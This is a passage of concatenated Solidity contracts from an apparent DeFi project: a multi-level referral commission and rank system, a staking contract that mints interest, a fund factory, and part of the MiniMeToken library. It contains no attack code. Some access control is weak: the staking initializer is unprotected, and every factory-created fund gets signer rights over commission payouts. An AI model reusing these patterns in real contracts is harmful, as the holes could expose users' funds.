downlineRanks[referrer][0] = downlineRanks[referrer][0].add(1);
emit Register(user, referrer);
}
function canRefer(address user, address referrer)
public
view
returns (bool)
{
return
!isUser[user] &&
user != referrer &&
user != address(0) &&
referrer != address(0);
}
/**
@notice Distributes commissions to a referrer and their referrers
@param referrer The referrer who will receive commission
@param commissionToken The ERC20 token that the commission is paid in
@param rawCommission The raw commission that will be distributed amongst referrers
@param returnLeftovers If true, leftover commission is returned to the sender. If false, leftovers will be paid to MarketPeak.
*/
function payCommission(
address referrer,
address commissionToken,
uint256 rawCommission,
bool returnLeftovers
) public regUser(referrer) onlySigner returns (uint256 leftoverAmount) {
// transfer the raw commission from `msg.sender`
IERC20 token = IERC20(commissionToken);
token.safeTransferFrom(msg.sender, address(this), rawCommission);
// payout commissions to referrers of different levels
address ptr = referrer;
uint256 commissionLeft = rawCommission;
uint8 i = 0;
while (ptr != address(0) && i < COMMISSION_LEVELS) {
if (_peakStakeOf(ptr) >= commissionStakeRequirements[i]) {
// referrer has enough stake, give commission
uint256 com = rawCommission.mul(commissionPercentages[i]).div(
COMMISSION_RATE
);
if (com > commissionLeft) {
com = commissionLeft;
}
token.safeTransfer(ptr, com);
commissionLeft = commissionLeft.sub(com);
if (commissionToken == address(peakToken)) {
incrementCareerValueInPeak(ptr, com);
} else if (commissionToken == stablecoin) {
incrementCareerValueInUsdc(ptr, com);
}
emit PayCommission(referrer, ptr, commissionToken, com, i);
}
ptr = referrerOf[ptr];
i += 1;
}
// handle leftovers
if (returnLeftovers) {
// return leftovers to `msg.sender`
token.safeTransfer(msg.sender, commissionLeft);
return commissionLeft;
} else {
// give leftovers to MarketPeak wallet
token.safeTransfer(marketPeakWallet, commissionLeft);
return 0;
}
}
/**
@notice Increments a user's career value
@param user The user
@param incCV The CV increase amount, in Usdc
*/
function incrementCareerValueInUsdc(address user, uint256 incCV)
public
regUser(user)
onlySigner
{
careerValue[user] = careerValue[user].add(incCV);
emit ChangedCareerValue(user, incCV, true);
}
/**
@notice Increments a user's career value
@param user The user
@param incCVInPeak The CV increase amount, in PEAK tokens
*/
function incrementCareerValueInPeak(address user, uint256 incCVInPeak)
public
regUser(user)
onlySigner
{
uint256 peakPriceInUsdc = _getPeakPriceInUsdc();
uint256 incCVInUsdc = incCVInPeak.mul(peakPriceInUsdc).div(
PEAK_PRECISION
);
careerValue[user] = careerValue[user].add(incCVInUsdc);
emit ChangedCareerValue(user, incCVInUsdc, true);
}
/**
@notice Returns a user's rank in the PeakDeFi system based only on career value
@param user The user whose rank will be queried
*/
function cvRankOf(address user) public view returns (uint256) {
uint256 cv = careerValue[user];
if (cv < USDC_PRECISION.mul(100)) {
return 0;
} else if (cv < USDC_PRECISION.mul(250)) {
return 1;
} else if (cv < USDC_PRECISION.mul(750)) {
return 2;
} else if (cv < USDC_PRECISION.mul(1500)) {
return 3;
} else if (cv < USDC_PRECISION.mul(3000)) {
return 4;
} else if (cv < USDC_PRECISION.mul(10000)) {
return 5;
} else if (cv < USDC_PRECISION.mul(50000)) {
return 6;
} else if (cv < USDC_PRECISION.mul(150000)) {
return 7;
} else {
return 8;
}
}
function rankUp(address user) external {
// verify rank up conditions
uint256 currentRank = rankOf[user];
uint256 cvRank = cvRankOf(user);
require(cvRank > currentRank, "PeakReward: career value is not enough!");
require(downlineRanks[user][currentRank] >= 2 || currentRank == 0, "PeakReward: downlines count and requirement not passed!");
// Target rank always should be +1 rank from current rank
uint256 targetRank = currentRank + 1;
// increase user rank
rankOf[user] = targetRank;
emit RankChange(user, currentRank, targetRank);
address referrer = referrerOf[user];
if (referrer != address(0)) {
downlineRanks[referrer][targetRank] = downlineRanks[referrer][targetRank]
.add(1);
downlineRanks[referrer][currentRank] = downlineRanks[referrer][currentRank]
.sub(1);
}
// give user rank reward
uint256 rewardInPeak = rankReward[currentRank][targetRank]
.mul(PEAK_PRECISION)
.div(_getPeakPriceInUsdc());
if (mintedPeakTokens.add(rewardInPeak) <= PEAK_MINT_CAP) {
// mint if under cap, do nothing if over cap
mintedPeakTokens = mintedPeakTokens.add(rewardInPeak);
peakToken.mint(user, rewardInPeak);
emit ReceiveRankReward(user, rewardInPeak);
}
}
function canRankUp(address user) external view returns (bool) {
uint256 currentRank = rankOf[user];
uint256 cvRank = cvRankOf(user);
return
(cvRank > currentRank) &&
(downlineRanks[user][currentRank] >= 2 || currentRank == 0);
}
/**
@notice Returns a user's current staked PEAK amount, scaled by `PEAK_PRECISION`.
@param user The user whose stake will be queried
*/
function _peakStakeOf(address user) internal view returns (uint256) {
return peakStaking.userStakeAmount(user);
}
/**
@notice Returns the price of PEAK token in Usdc, scaled by `USDC_PRECISION`.
*/
function _getPeakPriceInUsdc() internal returns (uint256) {
oracle.update();
uint256 priceInUSDC = oracle.consult(address(peakToken), PEAK_PRECISION);
if (priceInUSDC == 0) {
return USDC_PRECISION.mul(3).div(10);
}
return priceInUSDC;
}
}
pragma solidity ^0.5.0;
import "../../GSN/Context.sol";
import "../Roles.sol";
contract SignerRole is Context {
using Roles for Roles.Role;
event SignerAdded(address indexed account);
event SignerRemoved(address indexed account);
Roles.Role private _signers;
constructor () internal {
_addSigner(_msgSender());
}
modifier onlySigner() {
require(isSigner(_msgSender()), "SignerRole: caller does not have the Signer role");
_;
}
function isSigner(address account) public view returns (bool) {
return _signers.has(account);
}
function addSigner(address account) public onlySigner {
_addSigner(account);
}
function renounceSigner() public {
_removeSigner(_msgSender());
}
function _addSigner(address account) internal {
_signers.add(account);
emit SignerAdded(account);
}
function _removeSigner(address account) internal {
_signers.remove(account);
emit SignerRemoved(account);
}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../reward/PeakReward.sol";
import "../PeakToken.sol";
contract PeakStaking {
using SafeMath for uint256;
using SafeERC20 for PeakToken;
event CreateStake(
uint256 idx,
address user,
address referrer,
uint256 stakeAmount,
uint256 stakeTimeInDays,
uint256 interestAmount
);
event ReceiveStakeReward(uint256 idx, address user, uint256 rewardAmount);
event WithdrawReward(uint256 idx, address user, uint256 rewardAmount);
event WithdrawStake(uint256 idx, address user);
uint256 internal constant PRECISION = 10**18;
uint256 internal constant PEAK_PRECISION = 10**8;
uint256 internal constant INTEREST_SLOPE = 2 * (10**8); // Interest rate factor drops to 0 at 5B mintedPeakTokens
uint256 internal constant BIGGER_BONUS_DIVISOR = 10**15; // biggerBonus = stakeAmount / (10 million peak)
uint256 internal constant MAX_BIGGER_BONUS = 10**17; // biggerBonus <= 10%
uint256 internal constant DAILY_BASE_REWARD = 15 * (10**14); // dailyBaseReward = 0.0015
uint256 internal constant DAILY_GROWING_REWARD = 10**12; // dailyGrowingReward = 1e-6
uint256 internal constant MAX_STAKE_PERIOD = 1000; // Max staking time is 1000 days
uint256 internal constant MIN_STAKE_PERIOD = 10; // Min staking time is 10 days
uint256 internal constant DAY_IN_SECONDS = 86400;
uint256 internal constant COMMISSION_RATE = 20 * (10**16); // 20%
uint256 internal constant REFERRAL_STAKER_BONUS = 3 * (10**16); // 3%
uint256 internal constant YEAR_IN_DAYS = 365;
uint256 public constant PEAK_MINT_CAP = 7 * 10**16; // 700 million PEAK
struct Stake {
address staker;
uint256 stakeAmount;
uint256 interestAmount;
uint256 withdrawnInterestAmount;
uint256 stakeTimestamp;
uint256 stakeTimeInDays;
bool active;
}
Stake[] public stakeList;
mapping(address => uint256) public userStakeAmount;
uint256 public mintedPeakTokens;
bool public initialized;
PeakToken public peakToken;
PeakReward public peakReward;
constructor(address _peakToken) public {
peakToken = PeakToken(_peakToken);
}
function init(address _peakReward) public {
require(!initialized, "PeakStaking: Already initialized");
initialized = true;
peakReward = PeakReward(_peakReward);
}
function stake(
uint256 stakeAmount,
uint256 stakeTimeInDays,
address referrer
) public returns (uint256 stakeIdx) {
require(
stakeTimeInDays >= MIN_STAKE_PERIOD,
"PeakStaking: stakeTimeInDays < MIN_STAKE_PERIOD"
);
require(
stakeTimeInDays <= MAX_STAKE_PERIOD,
"PeakStaking: stakeTimeInDays > MAX_STAKE_PERIOD"
);
// record stake
uint256 interestAmount = getInterestAmount(
stakeAmount,
stakeTimeInDays
);
stakeIdx = stakeList.length;
stakeList.push(
Stake({
staker: msg.sender,
stakeAmount: stakeAmount,
interestAmount: interestAmount,
withdrawnInterestAmount: 0,
stakeTimestamp: now,
stakeTimeInDays: stakeTimeInDays,
active: true
})
);
mintedPeakTokens = mintedPeakTokens.add(interestAmount);
userStakeAmount[msg.sender] = userStakeAmount[msg.sender].add(
stakeAmount
);
// transfer PEAK from msg.sender
peakToken.safeTransferFrom(msg.sender, address(this), stakeAmount);
// mint PEAK interest
peakToken.mint(address(this), interestAmount);
// handle referral
if (peakReward.canRefer(msg.sender, referrer)) {
peakReward.refer(msg.sender, referrer);
}
address actualReferrer = peakReward.referrerOf(msg.sender);
if (actualReferrer != address(0)) {
// pay referral bonus to referrer
uint256 rawCommission = interestAmount.mul(COMMISSION_RATE).div(
PRECISION
);
peakToken.mint(address(this), rawCommission);
peakToken.safeApprove(address(peakReward), rawCommission);
uint256 leftoverAmount = peakReward.payCommission(
actualReferrer,
address(peakToken),
rawCommission,
true
);
peakToken.burn(leftoverAmount);
// pay referral bonus to staker
uint256 referralStakerBonus = interestAmount
.mul(REFERRAL_STAKER_BONUS)
.div(PRECISION);
peakToken.mint(msg.sender, referralStakerBonus);
mintedPeakTokens = mintedPeakTokens.add(
rawCommission.sub(leftoverAmount).add(referralStakerBonus)
);
emit ReceiveStakeReward(stakeIdx, msg.sender, referralStakerBonus);
}
require(mintedPeakTokens <= PEAK_MINT_CAP, "PeakStaking: reached cap");
emit CreateStake(
stakeIdx,
msg.sender,
actualReferrer,
stakeAmount,
stakeTimeInDays,
interestAmount
);
}
function withdraw(uint256 stakeIdx) public {
Stake storage stakeObj = stakeList[stakeIdx];
require(
stakeObj.staker == msg.sender,
"PeakStaking: Sender not staker"
);
require(stakeObj.active, "PeakStaking: Not active");
// calculate amount that can be withdrawn
uint256 stakeTimeInSeconds = stakeObj.stakeTimeInDays.mul(
DAY_IN_SECONDS
);
uint256 withdrawAmount;
if (now >= stakeObj.stakeTimestamp.add(stakeTimeInSeconds)) {
// matured, withdraw all
withdrawAmount = stakeObj
.stakeAmount
.add(stakeObj.interestAmount)
.sub(stakeObj.withdrawnInterestAmount);
stakeObj.active = false;
stakeObj.withdrawnInterestAmount = stakeObj.interestAmount;
userStakeAmount[msg.sender] = userStakeAmount[msg.sender].sub(
stakeObj.stakeAmount
);
emit WithdrawReward(
stakeIdx,
msg.sender,
stakeObj.interestAmount.sub(stakeObj.withdrawnInterestAmount)
);
emit WithdrawStake(stakeIdx, msg.sender);
} else {
// not mature, partial withdraw
withdrawAmount = stakeObj
.interestAmount
.mul(uint256(now).sub(stakeObj.stakeTimestamp))
.div(stakeTimeInSeconds)
.sub(stakeObj.withdrawnInterestAmount);
// record withdrawal
stakeObj.withdrawnInterestAmount = stakeObj
.withdrawnInterestAmount
.add(withdrawAmount);
emit WithdrawReward(stakeIdx, msg.sender, withdrawAmount);
}
// withdraw interest to sender
peakToken.safeTransfer(msg.sender, withdrawAmount);
}
function getInterestAmount(uint256 stakeAmount, uint256 stakeTimeInDays)
public
view
returns (uint256)
{
uint256 earlyFactor = _earlyFactor(mintedPeakTokens);
uint256 biggerBonus = stakeAmount.mul(PRECISION).div(
BIGGER_BONUS_DIVISOR
);
if (biggerBonus > MAX_BIGGER_BONUS) {
biggerBonus = MAX_BIGGER_BONUS;
}
// convert yearly bigger bonus to stake time
biggerBonus = biggerBonus.mul(stakeTimeInDays).div(YEAR_IN_DAYS);
uint256 longerBonus = _longerBonus(stakeTimeInDays);
uint256 interestRate = biggerBonus.add(longerBonus).mul(earlyFactor).div(
PRECISION
);
uint256 interestAmount = stakeAmount.mul(interestRate).div(PRECISION);
return interestAmount;
}
function _longerBonus(uint256 stakeTimeInDays)
internal
pure
returns (uint256)
{
return
DAILY_BASE_REWARD.mul(stakeTimeInDays).add(
DAILY_GROWING_REWARD
.mul(stakeTimeInDays)
.mul(stakeTimeInDays.add(1))
.div(2)
);
}
function _earlyFactor(uint256 _mintedPeakTokens)
internal
pure
returns (uint256)
{
uint256 tmp = INTEREST_SLOPE.mul(_mintedPeakTokens).div(PEAK_PRECISION);
if (tmp > PRECISION) {
return 0;
}
return PRECISION.sub(tmp);
}
}
pragma solidity 0.5.17;
import "./lib/CloneFactory.sol";
import "./tokens/minime/MiniMeToken.sol";
import "./PeakDeFiFund.sol";
import "./PeakDeFiProxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract PeakDeFiFactory is CloneFactory {
using Address for address;
event CreateFund(address fund);
event InitFund(address fund, address proxy);
address public usdcAddr;
address payable public kyberAddr;
address payable public oneInchAddr;
address payable public peakdefiFund;
address public peakdefiLogic;
address public peakdefiLogic2;
address public peakdefiLogic3;
address public peakRewardAddr;
address public peakStakingAddr;
MiniMeTokenFactory public minimeFactory;
mapping(address => address) public fundCreator;
constructor(
address _usdcAddr,
address payable _kyberAddr,
address payable _oneInchAddr,
address payable _peakdefiFund,
address _peakdefiLogic,
address _peakdefiLogic2,
address _peakdefiLogic3,
address _peakRewardAddr,
address _peakStakingAddr,
address _minimeFactoryAddr
) public {
usdcAddr = _usdcAddr;
kyberAddr = _kyberAddr;
oneInchAddr = _oneInchAddr;
peakdefiFund = _peakdefiFund;
peakdefiLogic = _peakdefiLogic;
peakdefiLogic2 = _peakdefiLogic2;
peakdefiLogic3 = _peakdefiLogic3;
peakRewardAddr = _peakRewardAddr;
peakStakingAddr = _peakStakingAddr;
minimeFactory = MiniMeTokenFactory(_minimeFactoryAddr);
}
function createFund() external returns (PeakDeFiFund) {
// create fund
PeakDeFiFund fund = PeakDeFiFund(createClone(peakdefiFund).toPayable());
fund.initOwner();
// give PeakReward signer rights to fund
PeakReward peakReward = PeakReward(peakRewardAddr);
peakReward.addSigner(address(fund));
fundCreator[address(fund)] = msg.sender;
emit CreateFund(address(fund));
return fund;
}
function initFund1(
PeakDeFiFund fund,
string calldata reptokenName,
string calldata reptokenSymbol,
string calldata sharesName,
string calldata sharesSymbol
) external {
require(
fundCreator[address(fund)] == msg.sender,
"PeakDeFiFactory: not creator"
);
// create tokens
MiniMeToken reptoken = minimeFactory.createCloneToken(
address(0),
0,
reptokenName,
18,
reptokenSymbol,
false
);
MiniMeToken shares = minimeFactory.createCloneToken(
address(0),
0,
sharesName,
18,
sharesSymbol,
true
);
MiniMeToken peakReferralToken = minimeFactory.createCloneToken(
address(0),
0,
"Peak Referral Token",
18,
"PRT",
false
);
// transfer token ownerships to fund
reptoken.transferOwnership(address(fund));
shares.transferOwnership(address(fund));
peakReferralToken.transferOwnership(address(fund));
fund.initInternalTokens(
address(reptoken),
address(shares),
address(peakReferralToken)
);
}
function initFund2(
PeakDeFiFund fund,
address payable _devFundingAccount,
uint256 _devFundingRate,
uint256[2] calldata _phaseLengths,
address _compoundFactoryAddr
) external {
require(
fundCreator[address(fund)] == msg.sender,
"PeakDeFiFactory: not creator"
);
fund.initParams(
_devFundingAccount,
_phaseLengths,
_devFundingRate,
address(0),
usdcAddr,
kyberAddr,
_compoundFactoryAddr,
peakdefiLogic,
peakdefiLogic2,
peakdefiLogic3,
1,
oneInchAddr,
peakRewardAddr,
peakStakingAddr
);
}
function initFund3(
PeakDeFiFund fund,
uint256 _newManagerRepToken,
uint256 _maxNewManagersPerCycle,
uint256 _reptokenPrice,
uint256 _peakManagerStakeRequired,
bool _isPermissioned
) external {
require(
fundCreator[address(fund)] == msg.sender,
"PeakDeFiFactory: not creator"
);
fund.initRegistration(
_newManagerRepToken,
_maxNewManagersPerCycle,
_reptokenPrice,
_peakManagerStakeRequired,
_isPermissioned
);
}
function initFund4(
PeakDeFiFund fund,
address[] calldata _kyberTokens,
address[] calldata _compoundTokens
) external {
require(
fundCreator[address(fund)] == msg.sender,
"PeakDeFiFactory: not creator"
);
fund.initTokenListings(_kyberTokens, _compoundTokens);
// deploy and set PeakDeFiProxy
PeakDeFiProxy proxy = new PeakDeFiProxy(address(fund));
fund.setProxy(address(proxy).toPayable());
// transfer fund ownership to msg.sender
fund.transferOwnership(msg.sender);
emit InitFund(address(fund), address(proxy));
}
}
pragma solidity 0.5.17;
/*
Copyright 2016, Jordi Baylina
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/// @title MiniMeToken Contract
/// @author Jordi Baylina
/// @dev This token contract's goal is to make it easy for anyone to clone this
/// token using the token distribution at a given block, this will allow DAO's
/// and DApps to upgrade their features in a decentralized manner without
/// affecting the original token
/// @dev It is ERC20 compliant, but still needs to under go further testing.
import "@openzeppelin/contracts/ownership/Ownable.sol";
import "./TokenController.sol";
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes memory _data) public;
}
/// @dev The actual token contract, the default owner is the msg.sender
/// that deploys the contract, so usually this token will be deployed by a
/// token owner contract, which Giveth will call a "Campaign"
contract MiniMeToken is Ownable {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
string public version = "MMT_0.2"; //An arbitrary versioning scheme
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the
/// value
struct Checkpoint {
// `fromBlock` is the block number that the value was generated from
uint128 fromBlock;
// `value` is the amount of tokens at a specific block number
uint128 value;
}
// `parentToken` is the Token address that was cloned to produce this token;
// it will be 0x0 for a token that was not cloned
MiniMeToken public parentToken;
// `parentSnapShotBlock` is the block number from the Parent Token that was
// used to determine the initial distribution of the Clone Token
uint public parentSnapShotBlock;
// `creationBlock` is the block number that the Clone Token was created
uint public creationBlock;
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping (address => Checkpoint[]) balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) allowed;
// Tracks the history of the `totalSupply` of the token
Checkpoint[] totalSupplyHistory;
// Flag that determines if the token is transferable or not.
bool public transfersEnabled;
// The factory used to create new clone tokens
MiniMeTokenFactory public tokenFactory;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a MiniMeToken
/// @param _tokenFactory The address of the MiniMeTokenFactory contract that
/// will create the Clone token contracts, the token factory needs to be
/// deployed first
/// @param _parentToken Address of the parent token, set to 0x0 if it is a
/// new token
/// @param _parentSnapShotBlock Block of the parent token that will
/// determine the initial distribution of the clone token, set to 0 if it
/// is a new token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
constructor(
address _tokenFactory,
address payable _parentToken,
uint _parentSnapShotBlock,
string memory _tokenName,
uint8 _decimalUnits,
string memory _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName; // Set the name
decimals = _decimalUnits; // Set the decimals
symbol = _tokenSymbol; // Set the symbol
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
// The owner of this contract can move tokens around at will,
// this is important to recognize! Confirm that you trust the
// owner of this contract, which in most situations should be
// another open source smart contract or 0x0
if (msg.sender != owner()) {
require(transfersEnabled);
// The standard ERC 20 transferFrom functionality
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
emit Transfer(_from, _to, _amount); // Follow the spec to louch the event when transfer 0
return;
}
require(parentSnapShotBlock < block.number);
// Do not allow transfer to 0x0 or the token contract itself
require((_to != address(0)) && (_to != address(this)));
// If the amount being transfered is more than the balance of the
// account the transfer throws
uint previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
// Alerts the token owner of the transfer
if (isContract(owner())) {
require(TokenController(owner()).onTransfer(_from, _to, _amount));
}
// First update the balance array with the new value for the address
// sending the tokens
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
// Then update the balance array with the new value for the address
// receiving the tokens
uint previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
// An event to make the transfer easy to find on the blockchain
emit Transfer(_from, _to, _amount);
}
/// @param _owner The address that's balance is being requested
/// @return The balance of `_owner` at the current block
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
// Alerts the token owner of the approve function call
if (isContract(owner())) {
require(TokenController(owner()).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender
) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender, uint256 _amount, bytes memory _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
address(this),
_extraData
);
return true;
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() public view returns (uint) {
return totalSupplyAt(block.number);
}
////////////////
// Query balance and totalSupply in History
////////////////
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner, uint _blockNumber) public view
returns (uint) {
// These next few lines are used when the balance of the token is
// requested before a check point was ever created for this token, it
// requires that the `parentToken.balanceOfAt` be queried at the
// genesis block for that token as this contains initial balance of
// this token
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != address(0)) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
// Has no parent
return 0;
}
// This will return the expected balance during normal situations
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
/// @notice Total amount of tokens at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of tokens at `_blockNumber`
function totalSupplyAt(uint _blockNumber) public view returns(uint) {
// These next few lines are used when the totalSupply of the token is
// requested before a check point was ever created for this token, it
// requires that the `parentToken.totalSupplyAt` be queried at the
// genesis block for this token as that contains totalSupply of this
// token at this block number.
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != address(0)) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
// This will return the expected totalSupply during normal situations
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
////////////////
// Clone Token Method
////////////////
/// @notice Creates a new clone token with the initial distribution being
/// this token at `_snapshotBlock`
/// @param _cloneTokenName Name of the clone token
/// @param _cloneDecimalUnits Number of decimals of the smallest unit
/// @param _cloneTokenSymbol Symbol of the clone token
/// @param _snapshotBlock Block when the distribution of the parent token is
/// copied to set the initial distribution of the new clone token;
/// if the block is zero than the actual block, the current block is used
/// @param _transfersEnabled True if transfers are allowed in the clone
/// @return The address of the new MiniMeToken Contract
function createCloneToken(
string memory _cloneTokenName,
uint8 _cloneDecimalUnits,
string memory _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
uint snapshotBlock = _snapshotBlock;
if (snapshotBlock == 0) snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
address(this),
snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.transferOwnership(msg.sender);
// An event to make the token easy to find on the blockchain
emit NewCloneToken(address(cloneToken), snapshotBlock);
return address(cloneToken);
}
////////////////
// Generate and destroy tokens
////////////////
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _owner The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _owner, uint _amount
) public onlyOwner returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
emit Transfer(address(0), _owner, _amount);
return true;
}
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint _amount
) onlyOwner public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
emit Transfer(_owner, address(0), _amount);
return true;
}
////////////////
// Enable tokens transfers
////////////////
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) public onlyOwner {
transfersEnabled = _transfersEnabled;
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of tokens at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of tokens being queried
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) view internal returns (uint) {
if (checkpoints.length == 0) return 0;
// Shortcut for the actual value
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
// Binary search of the value in the array
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of tokens
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) view internal returns(bool) {
uint size;
if (_addr == address(0)) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
/// @dev Helper function to return a min betwen the two uints
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
/// @notice The fallback function: If the contract's owner has not been
/// set to 0, then the `proxyPayment` method is called which relays the
/// ether and creates tokens as described in the token owner contract
function () external payable {
require(isContract(owner()));
require(TokenController(owner()).proxyPayment.value(msg.value)(msg.sender));
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the owner to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address payable _token) public onlyOwner {
